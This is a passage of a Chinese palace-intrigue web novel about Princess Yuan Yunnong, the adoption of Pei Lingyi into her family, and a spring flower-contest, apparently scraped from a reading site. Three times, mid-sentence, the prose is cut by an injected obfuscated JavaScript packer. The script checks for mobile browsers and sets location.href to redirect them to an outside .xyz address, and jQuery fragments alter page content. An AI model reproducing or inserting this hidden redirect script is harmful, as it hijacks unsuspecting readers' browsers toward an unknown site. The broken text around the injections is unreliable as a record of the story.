他拉住了吕世勋,“陛下,小儿莽撞无知,冲撞了郡主,害郡主受伤,留了疤痕。吕氏愿意为郡主余生负责,求娶郡主,斗胆请陛下赐婚。” 说完,他看向吕世勋,“还不快跪下请旨?” 吕世勋愣了愣,跪下,“求陛下赐婚。” 吕家人的无耻简直令元蕴英大跌眼镜。 她气道:“谁给你们的脸?人家是挟恩图报,你们吕家还要恶心,分明是自己亏欠别人,还要图谋不轨!你们算什么东西,还敢求娶我妹妹?” “别说应怜只是手上有道印子,就算是毁了容颜,也轮不着你们吕家。”元彻回冷声道。 元云和看向惠帝的脸色,轻咳一声提醒自己的兄弟姐妹。 纵使惠帝不会答应吕氏的请婚,但也不代表会乐意看见臣子在自己前头先开口。 他们这个陛下,本就是不仁不义,害忠隐贤之人。 岐国公跪地,“陛下,小女纵使是嫁不出去,国公府也会赡养终生。元氏与吕氏,不必结为姻亲。” 惠贞长公主一语道出:“陛下,这本就是吕郎君犯下过错,却妄图以婚嫁之事来混淆视听,其心可诛。” 慕湖舟一针见血:“不过是道疤,还是在手上,吕大人何故扯上应怜余生呢?” “臣绝无此意,陛下明鉴。”吕大人磕头。 心中却暗自恼恨慕湖舟多管闲事。 “此事不要再提。”惠帝摆了摆手,“既然伤了郡主,无论是否是无心之失,都犯了错,拖下去杖责十下。” 他又看向了吕大人,“此事也是你教子不严,罚俸三月。” 事情已成定局,吕大人只能咬牙应下,叩谢圣恩。 惠帝对岐国公道:“爱卿,朕方才想到个绝佳的主意。” 岐国公突然间有了种不祥的预感。 惠帝继续说道:“拟旨,允清河世子袭爵王位。就让岐国公认清河世子为义子吧,往后便住在国公府,待到时机成熟,再移居清河王府。” “是。”宦官已经领命。 满室俱惊。 跪在外头的裴令仪也猛地抬起了头。 他隔着屏风,还有几层纱帐,看不到元韫浓的身影。 **元韫浓后头的计划是这样的。 若是岐国公认他做义子,那他往后与元韫浓,便是名义上真的义姐义弟。 “陛下!”岐国公正想求惠帝收回成命。 惠帝便说:“朕意已决,爱卿不必多言。” “近来朝堂之上,那些言官屡屡相逼,民间也流言四起,说朕慢待裴雍后人。如此一来,也好堵住悠悠众口。”他叹了口气,“朕乏了,都退下吧。” 话都说到这份上了,众人只得告退。 太医已经给元韫浓包好了伤口。 惠贞长公主将元韫浓揽在怀里,一道走出宫殿。 几人面面相睹,只剩沉默。 岐国公叹了口气,“既事已至此,世子……清河王请随在下回府吧。” “在宫中可还有什么物件需要带走的?”惠贞长公主淡声问。 “除了两个侍卫,并无什么东西。”裴令仪摇头。 惠贞长公主看着他的样子,实在是喜欢不起来,只是嗯了一声便转过了身。 元彻回冷嗤一声,连看都不想多看一眼裴令仪。 他本就想干脆斩了裴令仪,裴令仪偏偏还又生了事端还往他家身上靠。 慕湖舟还是温和道:“无妨,回头本宫叫人知会一声即可,清河王便先随姑父姑母回府吧。” “多谢。”裴令仪颔首。 他自嘲般勾起唇角。 说来多可笑,什么清河王? 不过是寄人篱下,仰人鼻息的一条狗。 往来之人但凡是不高兴了,都能踹他一脚。 就连着一条命,都在别人手上。 只是…… 他转头看向元韫浓,元韫浓与他对视,相当平静。 吕家父子出来,也是受尽元家人冷眼。 吕世勋脸色难看,看着岐国公府一群人走远,“他们岐国公府简直欺人太甚。” “天子近臣,皇亲贵戚,能不盛气凌人吗?”吕大人冷笑,“我儿放心,多行不义必自毙,子姑待之。” 他不信陛下会一直容忍他们。 荣光全系于陛下一人,这其中的风险有多大,可想而知。 他们当今这个陛下,可不是什么亲贤臣远小人的明君。 “父亲你方才为何求陛下赐婚我与元韫浓?元韫浓看似柔弱可怜,实则蛇蝎心肠,娶进门来岂不家宅不宁?”吕世勋埋怨道。 他实在不理解父亲方才的作为,“还有她那帮亲不帮理的父兄,这个娶了个索命活阎王似的。” 元氏嫡系之前有个父兄皆亡的孤女,是幼时不慎打翻了火盆,毁了半张脸的。 她看上了个寒门出身的进士,元家人就二话不说把人提了过来,威逼利诱定下了这门婚事。 那进士也是有心攀附世家权贵,想着跨越阶级,吞并嫁妆,再娶几房美妾。 甚至在婚前就大放厥词,婚后要妻子跪着服侍他,还在外头早早地找好了外室,只等着婚后接进门来。 但拜堂当日,元氏就当着所有宾客的面打断了那进士的腿。 不仅是告诫那进士,在元家人面前他永远得跪着。 也是警告外人,杜绝了他们不该有的心思。 连夫郎他们都敢当着那么多人的面在成亲之日打断腿,掂量掂量若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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毕竟是吕世勋推了她,旨意也是惠帝下的,跟她元韫浓有什么关系? 她只不过是受了委屈找人做主罢了。 只要家里人是真心心疼她,就不会出大岔子。 元韫浓到自己院子前,见管家行色匆匆,也驻足向自己行礼,问:“给清都的院子排在哪儿?” “在暮雪苑。”管家回道。 他们都是看菜下碟的。 看得出长公主不喜裴令仪,但名义上也算是贵客,往后也是主人家了,不好慢待。 所以安排在了暮雪苑,离得偏远,但设施装潢都是不带差错的。 “寓意不好。”元韫浓云淡风轻道,“换成我院子旁边的清仪馆吧。” 管家稍显犹豫,但也很快应下了:“是。” 元韫浓本想要叫裴令仪过去的,但霜降去了清仪馆后,来禀说是裴令仪已经被元云和那里叫去了。 “大姐姐?”元韫浓有些诧异。 她本以为元云和那种温婉平和的性子,是不会多管闲事,跟裴令仪有什么交集的。 这会叫裴令仪过去,怕也是为了敲打吧。 霜降道:“奴婢已经知会了裴九,待清河王回来,就叫人来郡主这。” “嗯。”元韫浓应了一声,“日后别叫清河王了,叫他们都改口吧,叫五郎。” 裴令仪比她小,她排第四,裴令仪放在元家就得排第五。 叫清河王像是什么外人似的,叫五郎才有归属感。 元彻回本就想要宰了裴令仪,元家和裴令仪关系这样恶劣怎么行? 她求惠帝让岐国公收裴令仪为义子,除了是想把裴令仪放在眼下看顾以外,很大一个原因就是为了他们一整家绑在一起。 无论是情感上,还是利益上,都绑在一起。 这样裴令仪日后成了皇帝,才不会清算元家。 恰好裴令仪在裴氏也排行第五,叫五郎在外人眼里,也不至于太过亲昵,显得他们元家有所图谋,刻意设局。 霜降和小满应声:“是。” 候在外头的女侍此时进门来禀:“郡主,世子来了。” 元韫浓抬眸,目露惊诧。 第14章 野狗不需要墓碑 裴令仪没想到第一个找他的人是元云和。 被婢女引路到了房内。 一溜花树型灯点亮了烛火,元云和略佩珠翠,目光沉静,在一片烛光之下刺绣。 “来了?”她莞尔一笑,“奉茶。” 女婢为裴令仪奉茶,裴令仪没有动。 元云和平静道:“我想我不止一次地警告你,离我妹妹远点。” 当初元韫浓自请罚跪太庙,她就差人警告过裴令仪。 不过如今看来,裴令仪并没有听。 “阿姊说,她把我当成阿弟。”裴令仪说。 元云和却道:“我妹妹连路过的小猫小狗都会收养,甚至跟路边的小花说话。” 裴令仪笑了笑,“原来,你是这样看待阿姊的。” “无论我如何看待四娘,你都该知道自己的身份,明白自己会给她带来什么。”元云和说。 “你不是第一个这么说的人。”裴令仪垂下眼帘,笑容带有讽刺,“慕水妃也这么跟我说过,只不过委婉多了。” 元云和半眯起眼睛,“即使是这样,你仍然不放在心上。” “不管你信不信。”裴令仪抬眸看向元云和,眼底一片冷寂,“我从来没想过入住元府,成为你们的兄弟,尤其是用这种方法。” 仔细辨别了片刻,元云和发现自己根本看不懂裴令仪在想什么。 但是至少裴令仪的这句话不是假的。 “我希望你能安分守己。”元云和闭上了眼睛,“不要肖想你不该想的。” 裴令仪眸光一晃,微微低头,“令仪明白。” 望着裴令仪离去的背影,元云和眼底一片冷凝。 她转头对身边的女侍道:“我要知道四娘今晚的去向。” 女侍略显犹豫,“大娘真要如此吗?清河王瞧着对郡主也是挺乖顺的。” 元云和闻言笑了起来:“他那模样哪里像是乖顺了,装出来骗骗你这样的小丫头罢了。” 裴令仪不常正视别人眼睛,这样的人不是怯懦就是心思深沉。 偶尔几次瞥见裴令仪的眼神,乌黑的眼睛里融了碎雪残冰,真是冷得很呢。 “我啊,是怕四娘同他出了差错。”元云和意味深长。 女侍明白了主子的意思,“少年情窦初开,若不逾越,倒也无妨。少年心事朝令夕改,不会长久的。” “情爱会叫女子失去力量,我得知道那人是会让四娘失去力气,还是更加强大。”元云和说。 绣花针扎穿了绣棚,她柔声道:“况且,我并不觉得四娘心悦他。” 元韫浓看向裴令仪的眼神,全然不像是含羞带怯的姑娘。 倒像是更深的什么东西。 裴令仪听了裴九说元韫浓找他,便再起身去元韫浓的岁浓院。 岁浓院是国公府里最雍容华贵、富丽堂皇的院落,远远看去,在黑夜里已是一片灯火亮堂。 即使再远,顺着这片光芒也不会迷路。 裴令仪随外头的女侍走入,遥遥就能听到元彻回的声音。 摒除了外人的存在,兄妹之间的交谈就直截了当许多。 “妹妹,离他远点。” “他如今也是我的兄弟。” “他迟早会背叛你,就像是一条野狗,丧家之犬罢了。” “阿兄,你待清都太过苛刻。” “你每次碰上他都没有好事,那些得了疯病的野狗是不知感恩的。你饲养他,他反而会咬伤你的手。” 女侍耳力没有裴令仪那么好,什么也没听清楚,面色如常地敲门禀报。 门内静默片刻。 元韫浓柔声劝慰几句,最后元彻回推门而出。 “守好自己的本分。”元彻回警告道。 他面色不善地拂袖离去。 裴令仪垂着眼,跨过门槛。 “来了?”元韫浓拆掉手上包扎的细布。 细布落在地上,上面透着鲜红的血迹。 伤口有点渗血,桌上放着药膏。 “过来给我涂药,五郎。”她有些戏谑地喊这个称呼。 裴令仪顿了顿,单膝跪在元韫浓跟前,轻轻捧着她的手,为她涂抹药膏。 “阿姊没有告诉我,原来是想要我入国公府。”他说道。 元韫浓倦怠地问:“你既叫我一声阿姊,这样不好吗?” 今日之事多烦忧,叫她这副羸弱的身躯不堪重负。 “好。”裴令仪默了默,垂着眼,将心事都藏匿,“只是我不想做阿姊的家人。” 元韫浓皱了皱眉。 以为裴令仪是惦念着自己的亲父亲母,惦记着裴雍一脉的光复。 “我不做无用功的事情,清都。”元韫浓看着裴令仪给自己包扎,“我救你于水火,都是有条件的。” 很少有人会直白地表示自己的恶意,也很少有人会明目张胆地挟恩图报。 但是元韫浓会。 她挑起裴令仪带有淤痕的下巴,注视那张秀丽的脸,“丧家之犬,要知恩图报。” “你我的心,得往一处去。”她微微使劲,指甲在裴令仪下巴上留下两枚印子。 裴令仪眼中似有暗火燃烧,“元家分明圣眷正浓,阿姊身为郡主,怎么犹如身处浮木之上般,仿佛如履薄冰?” 好敏锐啊。 元韫浓暗自叹息。 “帝王偏爱,难道不是春日薄冰吗?”元韫浓反问。 她说:“陛下或许爱我母亲,但却不爱我。光凭天家亲情?能维持多久?有朝一日这些殆尽,第一个人头落地的就是我父兄。” “这些也就骗骗我母亲了。”她嘲讽般笑了笑,“若非我母亲爱他,他也骗不住我母亲。” 她或许不知实情,但总有所感知。 她能感觉到,惠贞长公主实际上还是贪恋亲缘。 不知真相,但七情六欲,她能感知到。 前世惠帝就隐隐约约已经展露了猜忌元氏的架势,悬在头颈的剑摇摇欲坠。 若不是外面有个被放虎归山的裴令仪在,屠刀早就落下来了。 “阿姊。”裴令仪像是叹息,“你该迷糊些的,太精亮是要碎的。” 像是琉璃一样。 漂亮,伶俐,但太过了是要碎的。 物极必反,所有事务都是这样的。 月满则亏,盛极必衰。过刚易折,强极则辱。所以元家遭忌惮是必然的。 所以元韫浓慧极必伤,也是一样的。 元韫浓笑了笑,“碎了割伤的人不也是我自己吗?” 慕湖舟跟她说过同样的话,她是怎么答来着?痛总好过麻木。 但在裴令仪这里,她的答案更冷漠。 伤的人是她自己,和旁人又有什么关系? 裴令仪望着元韫浓犹如春水薄冰般的眼睛。 她在灯火里像是一段佶屈聱牙的经文,带有异样的禅意,圣洁地引诱裴令仪堕入阿鼻地狱。 “那阿姊利用我吧。”裴令仪放下另一条腿,双膝都跪在地上。 伤已经包扎好了。 他跪在元韫浓跟前,捧着元韫浓的手,低下头,额头轻轻抵着元韫浓的指骨节。 他微微弯起唇角,“把我当成丧家之犬,无所谓。” “我不需要饵食,不需要棚窝,甚至不需要墓碑。”裴令仪抬起脸,模样驯良。 元韫浓指尖扣动了一下,神色复杂,“你就执意要做这样的孤魂野鬼,连墓碑都不需要有吗?” 宁愿成为家犬,也不想成为家人。 “野狗不需要墓碑,狂奔至腐烂即可。”裴令仪望向元韫浓,隐含笑意。 元韫浓心神一震。 无论是关于裴令仪的这句话,还是关于裴令仪听到了元彻回侮辱性的警告。 她在这一世的裴令仪身上,再次看到前世少年帝王的影子。 裴令仪的一番宣言对元韫浓来说震撼不已,以至于次日清早醒来都有些恍惚。 昨日是突发之事太多,一群人筋疲力尽。 今早就得解决遗留的问题了。 原本惠贞长公主是特意没喊元韫浓的,就是不想要她掺和进去,再跟裴令仪扯上关系。 但偏偏元韫浓早有预料,起了大早就跟裴令仪一块去了前厅。 看到元韫浓跟裴令仪一块来,惠贞长公主瞪了元韫浓一眼。 元韫浓这会只能做这个逆女了,假装没看见。 元蕴英看到元韫浓和裴令仪并肩进来,冷嗤一声:“这才一个晚上,就真把人家当亲弟弟了?” “二姐姐。”元韫浓迈前一步,握住了元蕴英的手,双目柔情款款地望着她。 “你干什么?”元蕴英起了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15476438|169973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身鸡皮疙瘩。 元韫浓抿着唇角笑了笑,“多谢姐姐昨日里替我说话。” 元蕴英抽回了手,别过脸,“仗义直言罢了。” “那便多谢姐姐仗义直言。”元韫浓依旧笑得温柔。 元蕴英冷哼一声,不说话了。 岐国公轻咳一声:“名义上陛下是要我认清河王作义子,但终究只是名义上罢了。清河王既贵为南朝唯一的异姓王,品阶上是高于我的。日后在国公府还是……” “还是要和睦相处,不要客气才是。”元韫浓截了岐国公的话,微笑着看向裴令仪。 裴令仪颔首,“多谢岐国公。” 岐国公剩下的话梗在喉咙口吐不出来,只能瞪着眼讪笑了一下。 这让他怎么说什么作为主客相处,相敬如宾? “是啊,不必客气。清河王若是……”惠贞长公主连忙帮腔。 “五郎若是缺了短了什么的,尽管告诉管事的。”元韫浓纠正了称呼。 惠贞长公主脸色不太好看,“是,清仪院多年无人居住,难免会失察漏了些什么,要是住不惯的话,清河王不如换……” “若是住不惯,五郎不如换批座椅,换了新的来用。”元韫浓再次纠正。 “胡闹!”惠贞长公主拍了一下扶手,怒道,“父亲母亲在说话,冒然开什么口?规矩都学到哪里去了!” 元韫浓立即下跪,“母亲息怒,是女儿多嘴了。” “公主,应怜也只是一时嘴快罢了。”岐国公劝慰。 惠贞长公主额角一跳,深吸了一口气,“罢了罢了。” 被元韫浓这么一搅和,他们夫妇俩该说的都说不出口了。 阖家上下,除了元韫浓,没一个待见裴令仪。 惠贞长公主被气到了,也不想再看见他俩,摆摆手就让他们走了。 “女儿告退。”元韫浓行礼。 岐国公原本还是有些生气的,但是看惠贞长公主气成这样,反倒是不气了。 他跟着劝:“公主也别太挂怀了。” 惠贞长公主喝了两口岐国公递来的茶水平息怒气。 她看着元韫浓跟裴令仪并肩离去的背影,深吸了一口气。 吾儿叛逆伤透我心。 她真是搞不懂元韫浓为什么那么维护裴令仪那小子。 裴令仪不仅身份微妙,性子也古怪。 看着无比驯良,却总给人一种阴森感。 她并不觉得他们慕南皇族如此苛待裴令仪,裴令仪还能对这点小恩小惠而心怀感激。 跟裴令仪并肩走出前厅,元韫浓面不改色。 “阿姊方才不必如此维护我的。”裴令仪同元韫浓一并穿过长廊。 微风吹拂过发梢和流云般的衣袖,他微微扬起眉梢,带了点笑,“多说两句也没什么。” 元韫浓难得从他身上瞧见一些少年般的意气。 这点活人气息衬得裴令仪整个人都动人了起来。 “不过是说两句话的事。”元韫浓没放在心上。 “阿姊也会这样维护旁人吗?例如沈川。”裴令仪状似不经意间提起,“我听闻昨日里他也着急呢,递了口信来问阿姊的情况。” 元韫浓蹙眉,“那是我的事。” 她总觉得裴令仪提起沈川怪怪的。 “是。”裴令仪无比柔顺地垂下漆黑的眼睫。 看裴令仪这模样,元韫浓又一时间气结。 这逆来顺受的架势,真是叫人一拳打在了棉花上似的。 裴令仪又温声问:“阿姊的伤今日换了药吗?” “早换了,霜降和小满又不是死的。”元韫浓没好气道。 裴令仪就不吭声了。 元韫浓又斜睨他一眼,“去你院里瞧瞧还差些什么,差了的,便叫底下人去采买办置。若是你有自己喜欢样式,也可去支了银子自己去看。” 元韫浓说什么,裴令仪都乖乖应声。 知道跟他多说也没用,元韫浓便跟他一起去了清仪院瞧瞧。 一圈看下来家居也是不差什么,只是基本没有裴令仪自己的东西。 也是。 裴令仪根本就没什么东西能从那废宫里带过来,除了裴七裴九什么都没有。 他带出来的除了几件旧衣裳以外,也就元韫浓先前送的几本书了。 第15章 斗花草 “回头叫人多置办些衣物和书籍。”元韫浓看得直皱眉,“缺了什么的,都叫人补上,或是来我院里取。” “好。”裴令仪应声。 元韫浓想了想,又补充:“你好音律,瞧上了什么乐器,也不必羞于启齿,只管来说。” 裴令仪眸光微闪,“好。” 他在宫中疲于生计,连一口饱饭都没有,根本无暇顾及其余的东西。 元韫浓是怎么知晓他喜好曲乐的? 元韫浓从窗口望出去,院子里空落落的,也没摆些花草。 “霜降,去让人把我院里的花草移些过来。”她吩咐。 霜降应声去办。 裴令仪乌黑的眼眸水光澹澹,“我定会好好侍养这些花木的。” “又不是多珍奇的玩意儿,摆弄着打发时间,又好看罢了。”元韫浓无奈。 “既然是阿姊所赠,必然有所不同。”裴令仪笑。 花花草草,有什么不一样? 元韫浓无可奈何。 想到春时贵女们又要斗花草,自己还得费些心思去找些奇花异草来。 春季的权贵设宴往来最多。 世家子弟结朋连友,置办名马,饰以锦鞯金鞍,走街打马。 若是行至郊外,令仆役携酒皿相随,惫时于花树下驻马而饮。 郊野之中,也会有贵女供帐,或是于园圃里,在其中设宴待客。 斗花也是其中的,在这之前就会以千金市名花,植于庭苑之中,以备后用。 元韫浓已经连着赢了好几年了。 毕竟京中贵女,数她最奢靡。 裴令仪望向元韫浓,“阿姊可是在想斗花草时该找什么?” “你怎么看出来的?”元韫浓讶然。 她好像想什么裴令仪都知道。 “只要下了心思便能知道。”裴令仪弯了弯唇角。 “年年都要为此费心思,不过夺了魁首,就会有人重金来求购花王,转手一卖又是金银财帛。”元韫浓说道。 前几年里,就有那么两三回元韫浓是转手卖出去的。 不卖自然也有不卖的好处。 摆在家中长脸面,借花献佛送:出去,也是珍奇的礼品。 可是她好像记得,今年斗花草后不久,太后就要从几百里外的龙泉寺回来了。 等等……太后? 等太后回来,不仅裴令仪会遭逢磨难,她日子也不会好过到哪里去。 她耀武扬威的日子也可以基本结束了。 毕竟太后并非是惠帝和惠贞长公主的生母,他们生母去世后,惠帝被过继到太后名下。 惠帝继位之后,尊其为太后,而太后向来不喜惠贞长公主,所以连带着她也讨不了好脸色。 当今皇后就是太后的侄女。 只是多年之前,大概就是裴令仪父王母妃刚去世没多久,太后就突然前往龙泉寺潜心念佛去了。 甚至不在京中的镇国寺里,而是到那么远的龙泉寺。 太后视裴令仪为邪祟,诸多忌讳。 前世在太后回来后没多久,京中就起了巫蛊案。 惠贞长公主不知为何还跟此扯上了关系,好几个朝臣被革职查办。 最后这些事情都是被推到了裴令仪身上,太后罚他被鞭笞二十,还迁怒了一群曾经和裴氏有关系的人。 从那之后,几乎无人胆敢再跟裴令仪有关联。 裴令仪在京华更是孤立无援。 这么一想,元韫浓颇为头疼。 其他人还好说,太后才是真的难搞。 既在朝中影响深重,又是惠帝和惠贞长公主的嫡母,身份上就压了所有人。 见元韫浓忧愁的模样,裴令仪问:“阿姊很为此事烦心吗?” “倒也还好,放心的是另有其事。”元韫浓皱眉,“太后怕是不久就要回来了。” 她万事都不瞒着裴令仪,毕竟是共谋大计之人,对彼此的真面目也是一清二楚。 既然如今在同一条船上,也没什么好瞒的。 裴令仪神色平淡,像是早知如此:“嗯,太后不仅不喜欢我,也不喜欢阿姊。” 他既然袭爵,又出了宫入住国公府,身份地位喝待遇也会相应地水涨船高。 像从前那样的欺凌,至少不会再是明目张胆的了。 但也与之相应的,他所承担的风险和惩罚也会变大。 毕竟在位置和身份上,他已经完全独立了。 如果被太后抓住了小辫子,后果可不就是能轻轻揭过去了。 “何止是不喜欢?”元韫浓嗤笑一声。 她总觉得这或许是她弄清楚关于惠贞长公主和惠帝往事的关键。 惠贞长公主是不可能行巫蛊之术的,前世跟这扯上关系,要么被人构陷,要么就是有亲近之人是沾上巫蛊案了。 元韫浓想着,眉头紧锁,“近来京中可有什么事吗?” 裴令仪为元韫浓沏茶,“倒也没什么大事,只是京中几家医馆近来都闭门,百姓苦于无处问医。” “医馆闭门一家也就罢了,怎会几家都闭门?”元韫浓拧眉接过裴令仪递来的茶水。 她伸手来接时,裴令仪却止住了递过去的动作。 裴令仪轻声提醒:“阿姊,小心手。” 注意到自己手上缠着的细布,元韫浓缩回了受伤的手,换了只手去接。 “阿姊莫要愁眉不展,我叫裴七去看看。”裴令仪温声道。 元韫浓呷了口茶,“不必,我自会派人去看。你身边得力的也就裴七裴九,裴七又甚少露面,还是不要使唤他们了。” 裴令仪默了默,依然听话地应声:“好。” 元韫浓想了想,又嘱咐了两句:“你现在既是亲王身份,见了那些人也不必留情面。但也别跟他们硬碰硬,犯了什么大错。太后快要回来了,往后的日子……” 她眸色愈深,后头的话也没说下去。 “如此,太后必然是敌非友了。”裴令仪见元韫浓如临大敌的姿态,平静道。 元韫浓半敛眼眸,“早做准备。” 裴令仪颔首,“明白。” * 今年斗花草元韫浓没上心,连花草都是惠贞长公主替她准备好的。 她正一门心思扑在预防巫蛊案上。 她派人去查问过那几家医馆为何闭门,偏偏那几家管事都面露难色,闭口不言。 纵使是以权压人,那些人也一副视死如归的模样。 越是这样,元韫浓心中越感不妙。 这是意味着,此事是人为。且授意者必然位高权重,至少是不怕得罪国公府乃至长公主的。 是有人在预谋什么。 因着多数医馆闭门,不少人病急乱投医,逢庙就烧香,不知从何起了什么巫医的说法。 瞧着也不是什么正经巫医,反倒是像跳大神的,握着几个铜铃在那唱跳。 元韫浓觉得这必然是与巫蛊案有关,却苦于没有线索。 她又派人紧盯着家里头不许进什么脏东西,反复搜查府中有没有藏污纳垢。 几次三番下来没有查出什么,给元蕴英烦得不行,刺了元韫浓几句。 此事没有进展,元韫浓正烦着呢。 她拢了拢裙摆,朝着前头走去。 春时金明池桃红似锦,柳绿如烟,粉蝶黄鹂,花间树上。 虽是皇家园林,但每年春来特定时期里,允百姓游览。 达官显贵设宴游船,也有不少在其中。 惠帝赐宴群臣,与之游乐。 前头是贵女们在斗花草,隔了不远就是郎君们在听乐作诗。 沿岸垂杨蘸水,烟草铺堤,桥头五殿相连,位于水中央。 重殿玉宇,雄楼杰阁,奇花异石,珍禽怪兽,船坞码头、战船龙舟,样样齐全。 元韫浓远远就听到自己那手帕交,郑六娘郑女幼的声音。 走近些,就见郑女幼正同一贵女斗花草,两人你来我往,互不相让。 “我这是惠比须笑,惠比须笑古朴自然的块状茎配以青翠的叶片,令人耳目一新。冬、春季会开出明媚灿烂的黄色花朵,摆在窗台边观赏再合适不过。”郑女幼抬着下巴。 她身后的女侍抱着古色古香的紫砂盆栽,里头叶色青绿,花朵明黄,质朴清新。 旁边一群人纷纷点头,“这是质朴脱俗,瞧着可爱。” “我这也不差你的。”对头的贵女扬眉,“这可是白皮月界,西南那边才有。簇状嫩绿色叶,花开粉白洋红,生长缓慢,据说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15476439|169973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是百年才长一点。” 女侍捧着这奇特的花草,远远看去一堆奇形怪状的叶片,仿佛山峦连绵。 “这也没见过,果然稀奇。”一群人又称奇。 这会两边都分不出胜负来,陷入两难。 慕水妃也在其中,她带来的是盆君子兰,虽品种名贵,但在一群奇花异草里也是不温不火。 她行事低调,在诸多皇子公主里并不出众。 一副说什么都行的好脾气,这才让元韫浓前世并不怎么能瞧得上她。 有人撺掇慕水妃再取其他花草来斗,她也只是笑笑摆手。 “淑慎公主,你觉得两边的是哪头更胜一筹啊?”说话的是白尚书家的女儿白翩飞。 她家与皇后和太后的母族关系匪浅,实实在在的三皇子党派。 外头都在传言,说是皇后打算让她做三皇子妃。 慕水妃看了她一眼,语气照旧平和:“我瞧不出来,觉得两边都好。” 白翩飞看看她,笑了一声:“是吗?” 她往日里觉得慕水妃这公主是真的不爱热闹,与世无争,如今一看,也并非如此啊。 “瞧不出来?那就再比!”郑女幼豪气万千地一挥手。 “比就比!”对面也不甘示弱。 元韫浓走近。 其中有人见到元韫浓,屈膝行礼:“郡主安。” 元韫浓扯动嘴角,礼节性颔首微笑。 她眼尾有颗泪痣,抬眸垂眸春花带雨,风情荡漾。 明眸皓齿,意态雅致。 此刻莺啼燕语,百花争妍。 官家小姐施朱傅粉,嫩麹罗裙,**之处兰麝佩环,花团锦簇。 元韫浓在其中犹如点睛之笔。 众人见她一人前来,也不意外。 元蕴英是世家小姐里的异类,喜欢舞枪弄棒,跟她们玩不到一起去。 元云和不喜社交,常年深居简出,很早就求了父母在家中道观带发修行,也不婚嫁。 “四娘!”郑女幼见元韫浓来了,眼前一亮。 慕水妃稍稍一怔,也扬起了笑脸,“韫浓。” 她像是有些担忧,看向了元韫浓的手,“手上的伤好些了吗?” “好多了,多谢水妃姐姐关怀。”元韫浓会以笑容。 郑女幼过去挽住元韫浓的手臂,凑过去仔细端详她的表情,“怎么了?我的好四娘,像是有心事。” 元韫浓朝她笑了笑,“春日困乏罢了,谈不上心事。” 她压低了声音,悄悄背着人问:“你不是不喜欢慕水妃吗?” “先前我病时,她衣不解带照顾我,我又突然觉得,她人不错了。”元韫浓轻飘飘道。 “那行,你既喜欢她,我也会带她和颜悦色几分的。”郑女幼向来没有原则。 “我们去年的首芳来了,”郑女幼推着元韫浓到前边,“让她来跟你斗。” 那贵女撇了撇嘴,“郑六娘,你自己拼不过了,喊郡主做帮手。” “那又怎样?”郑女幼扬眉,“你那盆白皮月界,我今日是要定了。” 若是带来的花草得了花王,拿了首芳,那败下阵来的都要将自己的花草当成奖品赠与胜者。 要元韫浓赢了,她就可以向元韫浓讨要那盆白皮月界了。 元韫浓点着郑女幼脑门,把人推远。 她噙着笑柔声道:“母亲为我寻了睡火莲。” 霜降捧着紫色睡莲上前,举起双臂供各位贵女观赏。 “一年只开七日,往常是夏日才开花的,母亲用了些特殊手段,才叫现在便开了花。”元韫浓莞尔而笑,“睡莲幽静,犹如神女,宛在水中央,固有水中神女一称。” 郑女幼比元韫浓还要骄傲,“一年只开七日,且在夏日。但它现在就开了,这还不珍稀?” “是珍稀。”方才同郑女幼争的那个小姐犹豫了片刻,多少不甘心,咬了咬牙,“罢了,也是我输了。” 她语气泛酸:“谁让我没个当长公主的好娘亲呢?” “输了就是输了,哪来的那么多话?快把你那盆白皮月界拿来。”郑女幼与她不对付,此刻扬眉吐气。 “你!”那小姐红了脸恼怒,“郑六娘你个泼皮!我又不会赖账!” 第16章 而已 “罢了罢了,这有什么好吵的?”白翩飞摇着圆扇,笑着出来劝,“玩玩而已,一盆花草嘛。” 郑女幼不领她的情,“说得轻巧,白翩飞,用得着你来装好人?” 白翩飞脸色一变,“这话就没意思了,郑小姐,大家都是官宦之女,何必如此不客气?” 眼见矛盾要升,元韫浓拉了一下郑女幼的袖子。 白家如今是圣上眼前的红人,又跟太后皇后的母族沾亲带故的。 如今太后马上要回来了,这会跟白翩飞对上,能讨什么好? 郑女幼硬生生止住了要出口的话。 “说得也是,一盆花草罢了。”元韫浓弯了弯唇角,“是母亲寻来的睡火莲,我胜之不武。” 她这一番话,倒是就刚才还有些泛酸的小姐不好意思了。 说是母亲寻来的睡火莲,但是她们这些奇花异草也都是有借助家族力量的。 不然单凭一己之力,每年哪里找得出来那么多奇花异草? 元韫浓见她不再开口,道:“**说的是,斗花草取乐罢了。这睡火莲既有水中神女一称,应了水妃姐姐闺名,便借花献佛,将这首芳赠与姐姐吧。” 慕水妃惊讶地看过来,眸光闪闪,像是被感动到了。 “多谢妹妹。”她柔声细语道。 她身后的女侍连忙接过霜降手里的睡火莲。 “你我表姐妹,何必如此客气?”元韫浓微笑。 慕水妃到底是公主,她不过是借慕水妃这个身份止风波罢了。 慕水妃这模样,却仿佛都要爱上她了。 郑女幼也看不得慕水妃这模样,起了一身鸡皮疙瘩。 她既能跟元韫浓玩到一起去,也是一类人。 